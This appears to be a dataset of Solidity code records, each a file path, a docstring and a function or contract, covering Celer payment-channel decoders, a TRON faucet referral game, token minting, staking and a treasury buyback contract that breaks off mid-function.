cnts[2] = 0; // reset counter for later use
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.token = decTokenInfo(buf.decBytes());
}
else if (tag == 2) {
m.distribution[cnts[2]] = decAccountAmtPair(buf.decBytes());
cnts[2]++;
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder TokenDistribution
struct TokenTransfer {
TokenInfo token; // tag: 1
AccountAmtPair receiver; // tag: 2
} // end struct TokenTransfer
function decTokenTransfer(bytes memory raw) internal pure returns (TokenTransfer memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.token = decTokenInfo(buf.decBytes());
}
else if (tag == 2) {
m.receiver = decAccountAmtPair(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder TokenTransfer
struct SimplexPaymentChannel {
bytes32 channelId; // tag: 1
address peerFrom; // tag: 2
uint seqNum; // tag: 3
TokenTransfer transferToPeer; // tag: 4
PayIdList pendingPayIds; // tag: 5
uint lastPayResolveDeadline; // tag: 6
uint256 totalPendingAmount; // tag: 7
} // end struct SimplexPaymentChannel
function decSimplexPaymentChannel(bytes memory raw) internal pure returns (SimplexPaymentChannel memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.channelId = Pb._bytes32(buf.decBytes());
}
else if (tag == 2) {
m.peerFrom = Pb._address(buf.decBytes());
}
else if (tag == 3) {
m.seqNum = uint(buf.decVarint());
}
else if (tag == 4) {
m.transferToPeer = decTokenTransfer(buf.decBytes());
}
else if (tag == 5) {
m.pendingPayIds = decPayIdList(buf.decBytes());
}
else if (tag == 6) {
m.lastPayResolveDeadline = uint(buf.decVarint());
}
else if (tag == 7) {
m.totalPendingAmount = Pb._uint256(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder SimplexPaymentChannel
struct PayIdList {
bytes32[] payIds; // tag: 1
bytes32 nextListHash; // tag: 2
} // end struct PayIdList
function decPayIdList(bytes memory raw) internal pure returns (PayIdList memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint[] memory cnts = buf.cntTags(2);
m.payIds = new bytes32[](cnts[1]);
cnts[1] = 0; // reset counter for later use
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.payIds[cnts[1]] = Pb._bytes32(buf.decBytes());
cnts[1]++;
}
else if (tag == 2) {
m.nextListHash = Pb._bytes32(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder PayIdList
struct TransferFunction {
TransferFunctionType logicType; // tag: 1
TokenTransfer maxTransfer; // tag: 2
} // end struct TransferFunction
function decTransferFunction(bytes memory raw) internal pure returns (TransferFunction memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.logicType = TransferFunctionType(buf.decVarint());
}
else if (tag == 2) {
m.maxTransfer = decTokenTransfer(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder TransferFunction
struct ConditionalPay {
uint payTimestamp; // tag: 1
address src; // tag: 2
address dest; // tag: 3
Condition[] conditions; // tag: 4
TransferFunction transferFunc; // tag: 5
uint resolveDeadline; // tag: 6
uint resolveTimeout; // tag: 7
address payResolver; // tag: 8
} // end struct ConditionalPay
function decConditionalPay(bytes memory raw) internal pure returns (ConditionalPay memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint[] memory cnts = buf.cntTags(8);
m.conditions = new Condition[](cnts[4]);
cnts[4] = 0; // reset counter for later use
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.payTimestamp = uint(buf.decVarint());
}
else if (tag == 2) {
m.src = Pb._address(buf.decBytes());
}
else if (tag == 3) {
m.dest = Pb._address(buf.decBytes());
}
else if (tag == 4) {
m.conditions[cnts[4]] = decCondition(buf.decBytes());
cnts[4]++;
}
else if (tag == 5) {
m.transferFunc = decTransferFunction(buf.decBytes());
}
else if (tag == 6) {
m.resolveDeadline = uint(buf.decVarint());
}
else if (tag == 7) {
m.resolveTimeout = uint(buf.decVarint());
}
else if (tag == 8) {
m.payResolver = Pb._address(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder ConditionalPay
struct CondPayResult {
bytes condPay; // tag: 1
uint256 amount; // tag: 2
} // end struct CondPayResult
function decCondPayResult(bytes memory raw) internal pure returns (CondPayResult memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.condPay = bytes(buf.decBytes());
}
else if (tag == 2) {
m.amount = Pb._uint256(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder CondPayResult
struct VouchedCondPayResult {
bytes condPayResult; // tag: 1
bytes sigOfSrc; // tag: 2
bytes sigOfDest; // tag: 3
} // end struct VouchedCondPayResult
function decVouchedCondPayResult(bytes memory raw) internal pure returns (VouchedCondPayResult memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.condPayResult = bytes(buf.decBytes());
}
else if (tag == 2) {
m.sigOfSrc = bytes(buf.decBytes());
}
else if (tag == 3) {
m.sigOfDest = bytes(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder VouchedCondPayResult
struct Condition {
ConditionType conditionType; // tag: 1
bytes32 hashLock; // tag: 2
address deployedContractAddress; // tag: 3
bytes32 virtualContractAddress; // tag: 4
bytes argsQueryFinalization; // tag: 5
bytes argsQueryOutcome; // tag: 6
} // end struct Condition
function decCondition(bytes memory raw) internal pure returns (Condition memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.conditionType = ConditionType(buf.decVarint());
}
else if (tag == 2) {
m.hashLock = Pb._bytes32(buf.decBytes());
}
else if (tag == 3) {
m.deployedContractAddress = Pb._address(buf.decBytes());
}
else if (tag == 4) {
m.virtualContractAddress = Pb._bytes32(buf.decBytes());
}
else if (tag == 5) {
m.argsQueryFinalization = bytes(buf.decBytes());
}
else if (tag == 6) {
m.argsQueryOutcome = bytes(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder Condition
struct CooperativeWithdrawInfo {
bytes32 channelId; // tag: 1
uint seqNum; // tag: 2
AccountAmtPair withdraw; // tag: 3
uint withdrawDeadline; // tag: 4
bytes32 recipientChannelId; // tag: 5
} // end struct CooperativeWithdrawInfo
function decCooperativeWithdrawInfo(bytes memory raw) internal pure returns (CooperativeWithdrawInfo memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.channelId = Pb._bytes32(buf.decBytes());
}
else if (tag == 2) {
m.seqNum = uint(buf.decVarint());
}
else if (tag == 3) {
m.withdraw = decAccountAmtPair(buf.decBytes());
}
else if (tag == 4) {
m.withdrawDeadline = uint(buf.decVarint());
}
else if (tag == 5) {
m.recipientChannelId = Pb._bytes32(buf.decBytes());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder CooperativeWithdrawInfo
struct PaymentChannelInitializer {
TokenDistribution initDistribution; // tag: 1
uint openDeadline; // tag: 2
uint disputeTimeout; // tag: 3
uint msgValueReceiver; // tag: 4
} // end struct PaymentChannelInitializer
function decPaymentChannelInitializer(bytes memory raw) internal pure returns (PaymentChannelInitializer memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.initDistribution = decTokenDistribution(buf.decBytes());
}
else if (tag == 2) {
m.openDeadline = uint(buf.decVarint());
}
else if (tag == 3) {
m.disputeTimeout = uint(buf.decVarint());
}
else if (tag == 4) {
m.msgValueReceiver = uint(buf.decVarint());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder PaymentChannelInitializer
struct CooperativeSettleInfo {
bytes32 channelId; // tag: 1
uint seqNum; // tag: 2
AccountAmtPair[] settleBalance; // tag: 3
uint settleDeadline; // tag: 4
} // end struct CooperativeSettleInfo
function decCooperativeSettleInfo(bytes memory raw) internal pure returns (CooperativeSettleInfo memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint[] memory cnts = buf.cntTags(4);
m.settleBalance = new AccountAmtPair[](cnts[3]);
cnts[3] = 0; // reset counter for later use
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.channelId = Pb._bytes32(buf.decBytes());
}
else if (tag == 2) {
m.seqNum = uint(buf.decVarint());
}
else if (tag == 3) {
m.settleBalance[cnts[3]] = decAccountAmtPair(buf.decBytes());
cnts[3]++;
}
else if (tag == 4) {
m.settleDeadline = uint(buf.decVarint());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder CooperativeSettleInfo
struct ChannelMigrationInfo {
bytes32 channelId; // tag: 1
address fromLedgerAddress; // tag: 2
address toLedgerAddress; // tag: 3
uint migrationDeadline; // tag: 4
} // end struct ChannelMigrationInfo
function decChannelMigrationInfo(bytes memory raw) internal pure returns (ChannelMigrationInfo memory m) {
Pb.Buffer memory buf = Pb.fromBytes(raw);
uint tag;
Pb.WireType wire;
while (buf.hasMore()) {
(tag, wire) = buf.decKey();
if (false) {} // solidity has no switch/case
else if (tag == 1) {
m.channelId = Pb._bytes32(buf.decBytes());
}
else if (tag == 2) {
m.fromLedgerAddress = Pb._address(buf.decBytes());
}
else if (tag == 3) {
m.toLedgerAddress = Pb._address(buf.decBytes());
}
else if (tag == 4) {
m.migrationDeadline = uint(buf.decVarint());
}
else { buf.skipValue(wire); } // skip value of unknown tag
}
} // end decoder ChannelMigrationInfo
}
// File: contracts/lib/ledgerlib/LedgerStruct.sol
pragma solidity ^0.5.1;
/**
* @title Ledger Struct Library
* @notice CelerLedger library defining all used structs
*/
library LedgerStruct {
enum ChannelStatus { Uninitialized, Operable, Settling, Closed, Migrated }
struct PeerState {
uint seqNum;
// balance sent out to the other peer of the channel, no need to record amtIn
uint transferOut;
bytes32 nextPayIdListHash;
uint lastPayResolveDeadline;
uint pendingPayOut;
}
struct PeerProfile {
address peerAddr;
// the (monotone increasing) amount that this peer deposit into this channel
uint deposit;
// the (monotone increasing) amount that this peer withdraw from this channel
uint withdrawal;
PeerState state;
}
struct WithdrawIntent {
address receiver;
uint amount;
uint requestTime;
bytes32 recipientChannelId;
}
// Channel is a representation of the state channel between peers which puts the funds
// in CelerWallet and is hosted by a CelerLedger. The status of a state channel can
// be migrated from one CelerLedger instance to another CelerLedger instance with probably
// different operation logic.
struct Channel {
// the time after which peers can confirmSettle and before which peers can intendSettle
uint settleFinalizedTime;
uint disputeTimeout;
PbEntity.TokenInfo token;
ChannelStatus status;
// record the new CelerLedger address after channel migration
address migratedTo;
// only support 2-peer channel for now
PeerProfile[2] peerProfiles;
uint cooperativeWithdrawSeqNum;
WithdrawIntent withdrawIntent;
}
// Ledger is a host to record and operate the activities of many state
// channels with specific operation logic.
struct Ledger {
// ChannelStatus => number of channels
mapping(uint => uint) channelStatusNums;
IEthPool ethPool;
IPayRegistry payRegistry;
ICelerWallet celerWallet;
// per channel deposit limits for different tokens
mapping(address => uint) balanceLimits;
// whether deposit limits of all tokens have been enabled
bool balanceLimitsEnabled;
mapping(bytes32 => Channel) channelMap;
}
}
// File: contracts/lib/ledgerlib/LedgerBalanceLimit.sol
pragma solidity ^0.5.1;
/**
* @title Ledger Balance Limit Library
* @notice CelerLedger library about balance limits
*/
library LedgerBalanceLimit {
/**
* @notice Set the balance limits of given tokens
* @param _self storage data of CelerLedger contract
* @param _tokenAddrs addresses of the tokens (address(0) is for ETH)
* @param _limits balance limits of the tokens
*/
function setBalanceLimits(
LedgerStruct.Ledger storage _self,
address[] calldata _tokenAddrs,
uint[] calldata _limits
)
external
{
require(_tokenAddrs.length == _limits.length, "Lengths do not match");
for (uint i = 0; i < _tokenAddrs.length; i++) {
_self.balanceLimits[_tokenAddrs[i]] = _limits[i];
}
}
/**
* @notice Disable balance limits of all tokens
* @param _self storage data of CelerLedger contract
*/
function disableBalanceLimits(LedgerStruct.Ledger storage _self) external {
_self.balanceLimitsEnabled = false;
}
/**
* @notice Enable balance limits of all tokens
* @param _self storage data of CelerLedger contract
*/
function enableBalanceLimits(LedgerStruct.Ledger storage _self) external {
_self.balanceLimitsEnabled = true;
}
/**
* @notice Return balance limit of given token
* @param _self storage data of CelerLedger contract
* @param _tokenAddr query token address
* @return token balance limit
*/
function getBalanceLimit(
LedgerStruct.Ledger storage _self,
address _tokenAddr
)
external
view
returns(uint)
{
return _self.balanceLimits[_tokenAddr];
}
/**
* @notice Return balanceLimitsEnabled
* @param _self storage data of CelerLedger contract
* @return balanceLimitsEnabled
*/
function getBalanceLimitsEnabled(LedgerStruct.Ledger storage _self) external view returns(bool) {
return _self.balanceLimitsEnabled;
}
}
|
PayRegistry interface/
|
interface IPayRegistry {
function calculatePayId(bytes32 _payHash, address _setter) external pure returns(bytes32);
function setPayAmount(bytes32 _payHash, uint _amt) external;
function setPayDeadline(bytes32 _payHash, uint _deadline) external;
function setPayInfo(bytes32 _payHash, uint _amt, uint _deadline) external;
function setPayAmounts(bytes32[] calldata _payHashes, uint[] calldata _amts) external;
function setPayDeadlines(bytes32[] calldata _payHashes, uint[] calldata _deadlines) external;
function setPayInfos(bytes32[] calldata _payHashes, uint[] calldata _amts, uint[] calldata _deadlines) external;
function getPayAmounts(
bytes32[] calldata _payIds,
uint _lastPayResolveDeadline
) external view returns(uint[] memory);
function getPayInfo(bytes32 _payId) external view returns(uint, uint);
event PayInfoUpdate(bytes32 indexed payId, uint amount, uint resolveDeadline);
}
| 1,157,632
|
pragma solidity ^0.4.25;
contract Owned {
address public owner;
address public oldOwner;
uint public tokenId = 1002567;
uint lastChangedOwnerAt;
constructor() {
owner = msg.sender;
oldOwner = owner;
}
modifier isOwner() {
require(msg.sender == owner);
_;
}
modifier isOldOwner() {
require(msg.sender == oldOwner);
_;
}
modifier sameOwner() {
address addr = msg.sender;
// Ensure that the address is a contract
uint size;
assembly { size := extcodesize(addr) }
require(size > 0);
// Ensure that the contract's parent is
Owned own = Owned(addr);
require(own.owner() == owner);
_;
}
// Be careful with this option!
function changeOwner(address newOwner) isOwner {
lastChangedOwnerAt = now;
oldOwner = owner;
owner = newOwner;
}
// Allow a revert to old owner ONLY IF it has been less than a day
function revertOwner() isOldOwner {
require(oldOwner != owner);
require((now - lastChangedOwnerAt) * 1 seconds < 86400);
owner = oldOwner;
}
}
contract Blacklist is Owned {
mapping (address => bool) private blacklist;
function isBlacklisted(address addr) public view returns (bool) {
return blacklist[addr];
}
function setBlacklisted(address addr, bool bl) isOwner {
blacklist[addr] = bl;
}
}
contract Blacklistable is Owned {
Blacklist list;
modifier okay() {
require(!list.isBlacklisted(msg.sender));
_;
}
function setBlacklist(address addr) isOwner {
list = Blacklist(addr);
}
}
contract WorldWaterfall is Blacklistable {
mapping (address => bool) public registered; // Is the user registered?
mapping (address => address) public referrers; // Referrals
mapping (address => uint) public balance; // Currentl balance
mapping (address => uint) public boosted; // Total interest rate boost in TRX
mapping (address => uint) public lastDrop; // Last time at which drop was received
mapping (address => uint) public lastInterest; // Last time at which interest was taken
mapping (address => uint) public referrals; // Number of referrals obtained
mapping (address => uint) public referralBonuses; // Total referral bonuses given
uint public prizeFund;
uint public prizeReserve;
uint public dripsSinceLastPrize;
uint public tokenId = 1002567;
uint public reserved; // Amount reserved for balance, etc.
uint public lastDrip; // When the last drip occurred
uint public totalPlayers; // Total number of people who have registered
int public totalGiven; // Total withdrawn less total added
uint public boostTotal; // Total amount given to boost interest
bool isPrizeAvailable;
bytes32 public name;
event Registered(address user);
event WonPrize(address user);
function updateName(bytes32 _name) isOwner {
name = _name;
}
function myReferralCount() public view returns (uint) {
return referrals[msg.sender];
}
function myReferralBonuses() public view returns (uint) {
return referralBonuses[msg.sender];
}
// Update the balance of an address and add it to the reserved amount
function _updateBalance(address addr, uint amount) private {
balance[addr] += amount;
reserved += amount;
}
// Return how long until the user can take another drop
function secondsToNextDrip() public view returns (uint) {
if (lastDrop[msg.sender] == 0) return 0;
uint diff = ((now - lastDrop[msg.sender]) * 1 seconds);
if (diff > 300) return 0;
return 300 - diff;
}
// How long it's been since a user has taken a drop, which also counts as the size of the drip
function secondsSinceLastDrip() public view returns (uint) {
if (lastDrip == 0) return 0;
return (now - lastDrip) * 1 seconds;
}
// To make this part more game like, the boost could be based on how much people have contributed in total. It would make it a competition.
function boost() external payable okay {
// The boost fee goes to the contract creator
require(msg.value > 0, "You have to give TRX to boost.");
require(registered[msg.sender], "You are not registered. To register, grab a drip from the faucet.");
owner.transfer(msg.value); // We get the TRX, and the player gets a bonus!
uint trx_value = msg.value;
boosted[msg.sender] += trx_value;
boostTotal += trx_value;
// Increase the prize and prize pool by 10 times the amount of TRX used to boost
prizeFund += 80 * trx_value;
prizeReserve += 20 * trx_value;
}
function _doInterest() private {
uint start = now;
address user = msg.sender;
if (lastInterest[user] == 0) {
lastInterest[user] = start;
return;
}
uint diff = (start - lastInterest[user]) * 1 seconds;
uint boost_amt = _getBoost(user);
_updateBalance(user, balance[user] * (10 + boost_amt) * diff / 31557600 / 100);
lastInterest[user] = now;
}
function getMyBalance() public view returns (uint) {
return balance[msg.sender];
}
// If a person wants to deposit funds to get interest, they can!
function deposit() external payable okay {
require(registered[msg.sender], "You are not registered. To register, grab a drip from the faucet.");
require(msg.tokenid == tokenId, "You sent the wrong token.");
uint amt = msg.tokenvalue;
_updateBalance(msg.sender, amt);
totalGiven = totalGiven - int(amt);
_doInterest();
}
function getBoost() public view returns (uint) {
return _getBoost(msg.sender);
}
// Increased max interest rate
function _getBoost(address user) private returns (uint) {
// Calculate boost percentage, up to 200 percentage points
// User Contribution % : Bonus
if (boosted[user] == 0) return 0;
uint rat = boostTotal / boosted[user];
if (rat == 0) return 0;
uint diff = (boostTotal / boosted[user] - 1);
if (diff > 200) return 0;
return 200 - diff;
}
// Drip and at the same time calculate interest on stored funds
// Adding some randomness would make it more game-like
function drip() external okay {
require(registered[msg.sender]);
uint start = now; // Make sure interest, drip, and update all use the same time, since "now" can change during contract execution
address user = msg.sender;
// I use seconds to reduce rounding error. One thing to note is that this method updates the interest rate whenever a drip occurs.
// What this situation means is that compounding occurs more frequently the more often the user ends up using the faucet.
uint diff = (start - lastDrop[msg.sender]) * 1 seconds;
// If the user hasn't gotten anything yet, lastDrop will be 0, which is a problem.
if (lastDrop[msg.sender] == 0)
diff = 301;
require(diff > 300, "You have already gotten your drop for the alloted time!"); // Can only drip once every five minutes
uint drop = 20000000;
// Make sure that there was a drip!
if (lastDrip != 0) drop = 10000000 * (start - lastDrip) * 1 seconds;
_updateBalance(user, max(20000000, drop));
lastDrop[user] = start;
// Give the referrer a 50% bonus
address ref = referrers[msg.sender];
if (ref != 0x0) {
uint bonus = max(20000000, drop);
_updateBalance(ref , bonus);
referralBonuses[ref] += bonus;
}
// Add to prize fund
prizeFund += max(drop * 4 / 30, 60000000);
prizeReserve += max(drop * 20 / 30, 30000000);
dripsSinceLastPrize++;
lastDrip = start;
}
function max(uint a, uint b) private pure returns (uint) {
return a > b ? a : b;
}
function register(address referrerAddress) external payable okay {
require(!registered[msg.sender]);
require(msg.value == 1000000000 || (msg.tokenvalue == 100000000000 && msg.tokenid == tokenId)); // Require's a registration fee of 1000 TRX or 100,000 WRLD
if (msg.value != 0)
owner.transfer(1000000000);
else
owner.transferToken(100000000000, tokenId);
_register(referrerAddress);
}
// Register the user in the database
function _register(address referrerAddress) internal {
if (!registered[msg.sender]) {
require(referrerAddress != msg.sender);
if (registered[referrerAddress]) {
referrers[msg.sender] = referrerAddress;
referrals[referrerAddress]++;
}
totalPlayers++;
registered[msg.sender] = true;
emit Registered(msg.sender);
}
}
function isRegistered() public view returns (bool) {
return registered[msg.sender];
}
// If the prize is up for grabs, give it!
function getPrize() external okay {
require(registered[msg.sender], "You are not registered. To register, grab a drip from the faucet.");
if (this.checkPrizeAvailable() && prizeFund > 0)
_getPrizeFund(msg.sender);
}
// If the current drips since last prize is less than 1,000 less twice the number of seconds since the last drip, give prize.
function checkPrizeAvailable() external returns (bool) {
if (isPrizeAvailable) return true;
isPrizeAvailable = dripsSinceLastPrize > (1000 - 2 * ((now - lastDrip) * 1 seconds));
return isPrizeAvailable;
}
// Return the available balance of WRLD, taking into account the amount that's reserved and in the prize pools
function getAvailableBalance() public view returns (uint) {
uint res = reserved + prizeFund + prizeReserve;
uint bal = address(this).tokenBalance(tokenId);
if (res > bal) return 0;
return bal - res;
}
// Pull tokens from the contract
function withdrawTokens() external {
require(registered[msg.sender], "You are not registered. To register, grab a drip from the faucet.");
uint amount = balance[msg.sender];
// If there aren't enough tokens available, give what is available.
uint max_amt = address(this).tokenBalance(tokenId);
if (max_amt < amount)
amount = max_amt;
if (amount > 0) {
balance[msg.sender] = balance[msg.sender] - amount;
msg.sender.transferToken(amount, tokenId);
reserved = reserved - amount;
totalGiven += int(amount);
}
}
function _getPrizeFund(address user) private {
uint amount = prizeFund;
isPrizeAvailable = false;
prizeFund = prizeReserve;
prizeReserve = 0;
dripsSinceLastPrize = 0;
_updateBalance(user, amount);
emit WonPrize(user);
}
// Fallback function
function () external payable {}
// Functions to pull tokens and TRX that might accidentally be sent to the contract address. The only token that cannot be pulled, even by the contract creator, is WRLD.
// Transfer all tron in the account into the contract creator's account
function superWithdrawTRX() isOwner {
msg.sender.transfer(address(this).balance);
}
// Transfer total amount of any token that might have accidentally been added to the contract, except WRLD so that the contract creator cannot pull WRLD from the game and kill it, under most conditions...
function superWithdrawTRC(uint tid) isOwner {
// If the contract is inactive for over ONE WEEK, then the parent address can withdraw WRLD!
require(tid != tokenId || (now - lastDrip) * 1 seconds > 604800, "You canot withdraw WRLD!");
msg.sender.transferToken(address(this).tokenBalance(tid), tid);
}
}
|
How long it's been since a user has taken a drop, which also counts as the size of the drip
|
function secondsSinceLastDrip() public view returns (uint) {
if (lastDrip == 0) return 0;
return (now - lastDrip) * 1 seconds;
}
| 922,997
|
./partial_match/56/0xa932227F0f9b178eA91c9237B97AeE90dfC58B62/sources/AirdropHelper.sol
|
Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements - `to` cannot be the zero address./
|
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
| 11,091,209
|
./full_match/1/0x75Cd3F538c091C1D514aB1aD9832f54198CAceC0/sources/src/GnarsHD.sol
|
Gnars HD are not transferable Will always revert
|
function safeTransferFrom(address, address, uint256, bytes calldata) public pure {
revert Untransferable();
}
⌐◨—————————————————————————————————————————————————————————————◨ */
| 16,430,915
|
./partial_match/97/0xFBc57BCB29Ed074110Ac66DF0406c14Fba7CfD8f/sources/SparkStake.sol
|
Update reward variables of the given pool to be up-to-date
|
function updatePool() public {
if (block.number <= poolInfo.lastRewardBlock) {
return;
}
uint256 lpSupply = poolInfo.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
poolInfo.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(poolInfo.lastRewardBlock, block.number);
uint256 cakeReward = multiplier.mul(rewardPerBlock).mul(poolInfo.allocPoint).div(totalAllocPoint);
poolInfo.accCakePerShare = poolInfo.accCakePerShare.add(cakeReward.mul(1e12).div(lpSupply));
poolInfo.lastRewardBlock = block.number;
}
| 11,485,231
|
./full_match/3/0x0Ea58E7Bb12370E61A10C2f467150aD1261Bb258/sources/emax.sol
|
Initializes the contract setting the deployer as the initial owner./
|
function ownerInitialize() public initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
| 8,114,897
|
./full_match/80001/0x082d994A7f0B2Ee2ca26355c23C3a505169FFebd/sources/contracts/Lottery.sol
|
Function that lists the tickets given a lottery id and an address. lotteryId uint256 ID of the lottery. owner address Address of the tickets./
|
function ticketByLotteryIdAndAddress(
uint256 lotteryId,
address owner
) public view returns (uint256[] memory) {
return _ticketByOwnerHistory[lotteryId][owner];
}
| 5,548,933
|
./partial_match/1/0x93A20D8EbA6997ABB53aE94bd01727C8e74c8734/sources/TokenCore.sol
|
defineRoles _role operator role _privileges as 4 bytes of the method/
|
function defineRole(bytes32 _role, bytes4[] memory _privileges)
public onlySysOp returns (bool)
{
require(_role != ALL_PRIVILEGES, "OC04");
delete roles[_role];
for (uint256 i=0; i < _privileges.length; i++) {
roles[_role].privileges[_privileges[i]] = true;
}
emit RoleDefined(_role);
return true;
}
| 3,566,166
|
./full_match/80001/0x4B422996a97d48Ed80C0202155D3B7b9cDbCBDe3/sources/src/Contract.sol
|
Allow the owner to adjust the threshold.
|
function setThreshold(uint256 _threshold) external onlyOwner {
threshold = _threshold;
}
| 873,611
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @author token
* This treasury contract has been developed by token.info
*/
import '@openzeppelin/contracts/access/Ownable.sol';
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import "../libs/IUniFactory.sol";
import "../libs/IUniRouter02.sol";
import "../libs/IWETH.sol";
interface IStaking {
function performanceFee() external view returns(uint256);
function setServiceInfo(address _addr, uint256 _fee) external;
}
interface IFarm {
function setBuyBackWallet(address _addr) external;
}
contract ShamanTreasury is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Whether it is initialized
bool private isInitialized;
uint256 private TIME_UNIT = 1 days;
IERC20 public token;
address public dividendToken;
address public pair;
uint256 public period = 30; // 30 days
uint256 public withdrawalLimit = 500; // 5% of total supply
uint256 public liquidityWithdrawalLimit = 2000; // 20% of LP supply
uint256 public buybackRate = 9500; // 95%
uint256 public addLiquidityRate = 9400; // 94%
uint256 private startTime;
uint256 private sumWithdrawals = 0;
uint256 private sumLiquidityWithdrawals = 0;
uint256 public performanceFee = 100; // 1%
uint256 public performanceLpFee = 200; // 2%
address public feeWallet = 0xE1f1dd010BBC2860F81c8F90Ea4E38dB949BB16F;
// swap router and path, slipPage
address public uniRouterAddress;
address[] public wNativeToTokenPath;
uint256 public slippageFactor = 800; // 20%
uint256 public constant slippageFactorUL = 995;
event TokenBuyBack(uint256 amountETH, uint256 amountToken);
event LiquidityAdded(uint256 amountETH, uint256 amountToken, uint256 liquidity);
event SetSwapConfig(address router, uint256 slipPage, address[] path);
event TransferBuyBackWallet(address staking, address wallet);
event LiquidityWithdrawn(uint256 amount);
event Withdrawn(uint256 amount);
event AddLiquidityRateUpdated(uint256 percent);
event BuybackRateUpdated(uint256 percent);
event PeriodUpdated(uint256 duration);
event LiquidityWithdrawLimitUpdated(uint256 percent);
event WithdrawLimitUpdated(uint256 percent);
event ServiceInfoUpdated(address wallet, uint256 performanceFee, uint256 liquidityFee);
constructor() {}
/**
* @notice Initialize the contract
* @param _token: token address
* @param _dividendToken: reflection token address
* @param _uniRouter: uniswap router address for swap tokens
* @param _wNativeToTokenPath: swap path to buy token
*/
function initialize(
IERC20 _token,
address _dividendToken,
address _uniRouter,
address[] memory _wNativeToTokenPath
) external onlyOwner {
require(!isInitialized, "Already initialized");
// Make this contract initialized
isInitialized = true;
token = _token;
dividendToken = _dividendToken;
pair = IUniV2Factory(IUniRouter02(_uniRouter).factory()).getPair(_wNativeToTokenPath[0], address(token));
uniRouterAddress = _uniRouter;
wNativeToTokenPath = _wNativeToTokenPath;
}
/**
* @notice Buy token from BNB
*/
function buyBack() external onlyOwner nonReentrant{
uint256 ethAmt = address(this).balance;
uint256 _fee = ethAmt.mul(performanceFee).div(10000);
if(_fee > 0) {
payable(feeWallet).transfer(_fee);
ethAmt = ethAmt.sub(_fee);
}
ethAmt = ethAmt.mul(buybackRate).div(10000);
if(ethAmt > 0) {
uint256[] memory amounts = _safeSwapEth(ethAmt, wNativeToTokenPath, address(this));
emit TokenBuyBack(amounts[0], amounts[amounts.length - 1]);
}
}
/**
* @notice Add liquidity
*/
function addLiquidity() external onlyOwner nonReentrant{
uint256 ethAmt = address(this).balance;
uint256 _fee = ethAmt.mul(performanceLpFee).div(10000);
if(_fee > 0) {
payable(feeWallet).transfer(_fee);
ethAmt = ethAmt.sub(_fee);
}
ethAmt = ethAmt.mul(addLiquidityRate).div(10000).div(2);
